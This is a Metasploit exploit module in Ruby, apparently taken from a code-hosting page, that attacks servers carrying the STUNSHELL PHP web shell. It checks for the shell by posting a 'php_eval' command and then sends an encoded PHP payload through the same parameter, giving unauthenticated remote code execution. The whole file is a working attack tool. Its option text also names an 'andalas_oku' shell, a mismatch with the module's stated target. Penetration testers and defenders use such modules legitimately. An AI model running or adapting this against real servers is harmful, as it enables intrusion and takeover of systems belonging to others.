90 lines
2.4 KiB
Ruby
90 lines
2.4 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => 'STUNSHELL Web Shell Remote PHP Code Execution',
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'Description' => %q{
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This module exploits unauthenticated versions of the "STUNSHELL" web shell.
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This module works when safe mode is enabled on the web server. This shell is widely
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used in automated RFI payloads.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'bwall <bwall[at]openbwall.com>' # vuln discovery & msf module
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],
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'References' =>
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[
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['OSVDB', '91842'],
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['URL', 'https://defense.ballastsecurity.net/wiki/index.php/STUNSHELL'],
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['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=a4cd8ba05eb6ba7fb86dd66bed968007']
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],
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'Privileged' => false,
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'Payload' =>
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{
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'Keys' => ['php'],
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'Space' => 10000,
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'DisableNops' => true
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},
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'Platform' => ['php'],
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'Arch' => ARCH_PHP,
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'Targets' =>
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[
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['stunshell', {}]
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],
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'DisclosureDate' => 'Mar 23 2013',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI',[true, "The path to the andalas_oku shell", "/IDC.php"]),
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],self.class)
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end
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def check
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uri = normalize_uri(target_uri.path.to_s)
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request_parameters = {
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'method' => 'POST',
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'uri' => uri,
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'vars_post' =>
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{
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'cmd' => "php_eval",
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'php_eval' => "print 'andalas_oku test parameter';"
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}
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}
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shell = send_request_cgi(request_parameters)
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if (shell and shell.body =~ /andalas_oku test parameter/)
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def http_send_command(cmd)
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uri = normalize_uri(target_uri.path.to_s)
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request_parameters = {
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'method' => 'POST',
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'uri' => uri,
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'vars_post' =>
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{
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'cmd' => "php_eval",
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"php_eval" => cmd
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}
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}
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res = send_request_cgi(request_parameters)
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end
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def exploit
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http_send_command(payload.encoded)
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end
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end
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